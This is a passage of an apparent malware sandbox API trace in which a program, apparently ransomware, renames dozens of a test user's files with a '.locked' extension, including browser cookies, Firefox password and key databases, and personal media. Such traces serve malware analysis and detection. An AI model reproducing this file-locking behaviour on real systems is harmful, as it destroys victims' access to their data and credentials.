HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt.locked"), dwFlags=0x2) returned 1 [0160.315] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt.locked"), dwFlags=0x2) returned 1 [0160.318] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@msn[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@msn[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@msn[1].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@msn[1].txt.locked"), dwFlags=0x2) returned 1 [0160.320] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt.locked"), dwFlags=0x2) returned 1 [0160.323] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt.locked"), dwFlags=0x2) returned 1 [0160.325] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt.locked"), dwFlags=0x2) returned 1 [0160.327] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt.locked"), dwFlags=0x2) returned 1 [0160.329] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt.locked"), dwFlags=0x2) returned 1 [0160.331] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt.locked"), dwFlags=0x2) returned 1 [0160.335] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt.locked"), dwFlags=0x2) returned 1 [0160.368] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\index.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\index.dat.locked"), dwFlags=0x2) returned 1 [0160.681] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\ietldcache\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\ietldcache\\index.dat.locked"), dwFlags=0x2) returned 1 [0161.220] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\ietldcache\\low\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\index.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\ietldcache\\low\\index.dat.locked"), dwFlags=0x2) returned 1 [0161.263] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\privacie\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\index.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\privacie\\index.dat.locked"), dwFlags=0x2) returned 1 [0161.375] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\privacie\\low\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\index.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\privacie\\low\\index.dat.locked"), dwFlags=0x2) returned 1 [0161.866] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper.jpg.locked"), dwFlags=0x2) returned 1 [0161.954] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cert8.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cert8.db"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cert8.db.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cert8.db.locked"), dwFlags=0x2) returned 1 [0162.192] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\content-prefs.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\content-prefs.sqlite"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\content-prefs.sqlite.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\content-prefs.sqlite.locked"), dwFlags=0x2) returned 1 [0162.673] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cookies.sqlite"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cookies.sqlite.locked"), dwFlags=0x2) returned 1 [0162.786] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\downloads.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\downloads.sqlite"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\downloads.sqlite.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\downloads.sqlite.locked"), dwFlags=0x2) returned 1 [0163.451] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\extensions.sqlite"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.sqlite.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\extensions.sqlite.locked"), dwFlags=0x2) returned 1 [0163.965] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.locked"), dwFlags=0x2) returned 1 [0163.984] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\key3.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\key3.db"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\key3.db.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\key3.db.locked"), dwFlags=0x2) returned 1 [0163.988] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\marionette.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\marionette.log"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\marionette.log.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\marionette.log.locked"), dwFlags=0x2) returned 1 [0164.054] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\permissions.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\permissions.sqlite"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\permissions.sqlite.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\permissions.sqlite.locked"), dwFlags=0x2) returned 1 [0164.613] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\places.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\places.sqlite"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\places.sqlite.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\places.sqlite.locked"), dwFlags=0x2) returned 1 [0164.620] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\pluginreg.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\pluginreg.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\pluginreg.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\pluginreg.dat.locked"), dwFlags=0x2) returned 1 [0164.627] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\prefs.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\prefs.js.locked"), dwFlags=0x2) returned 1 [0164.649] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\secmod.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\secmod.db"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\secmod.db.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\secmod.db.locked"), dwFlags=0x2) returned 1 [0164.652] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.bak"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.bak.locked"), dwFlags=0x2) returned 1 [0164.659] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.js.locked"), dwFlags=0x2) returned 1 [0165.151] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\signons.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\signons.sqlite"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\signons.sqlite.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\signons.sqlite.locked"), dwFlags=0x2) returned 1 [0165.249] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webappsstore.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\webappsstore.sqlite"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webappsstore.sqlite.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\webappsstore.sqlite.locked"), dwFlags=0x2) returned 1 [0165.337] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\NZ61n7v2.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\nz61n7v2.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\NZ61n7v2.m4a.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\nz61n7v2.m4a.locked"), dwFlags=0x2) returned 1 [0165.435] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\PIiR.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\piir.mp4"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\PIiR.mp4.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\piir.mp4.locked"), dwFlags=0x2) returned 1 [0165.472] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\pRIo0MckFRgasQ7h.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\prio0mckfrgasq7h.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\pRIo0MckFRgasQ7h.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\prio0mckfrgasq7h.jpg.locked"), dwFlags=0x2) returned 1 [0165.531] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\q65DvqyECFR1aiRAZ.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\q65dvqyecfr1airaz.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\q65DvqyECFR1aiRAZ.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\q65dvqyecfr1airaz.gif.locked"), dwFlags=0x2) returned 1 [0165.544] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\qH9h8dpjxSIeX5.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\qh9h8dpjxsiex5.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\qH9h8dpjxSIeX5.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\qh9h8dpjxsiex5.mp3.locked"), dwFlags=0x2) returned 1 [0165.613] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\v 8DKq vXtha.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\v 8dkq vxtha.mp4"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\v 8DKq vXtha.mp4.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\v 8dkq vxtha.mp4.locked"), dwFlags=0x2) returned 1 [0165.776] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\WQxk9UXttZqQOS3m2UdT.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\wqxk9uxttzqqos3m2udt.pptx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\WQxk9UXttZqQOS3m2UdT.pptx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\wqxk9uxttzqqos3m2udt.pptx.locked"), dwFlags=0x2) returned 1 [0165.857] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\x2W9.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\x2w9.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\x2W9.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\x2w9.bmp.locked"), dwFlags=0x2) returned 1 [0165.882] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\xU96sOsRK4N0sRYF.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\xu96sosrk4n0sryf.avi"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\xU96sOsRK4N0sRYF.avi.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\xu96sosrk4n0sryf.avi.locked"), dwFlags=0x2) returned 1 [0165.915] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YzKhA3INi.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\yzkha3ini.avi"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YzKhA3INi.avi.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\yzkha3ini.avi.locked"), dwFlags=0x2) returned 1 [0165.940] MoveFileExW 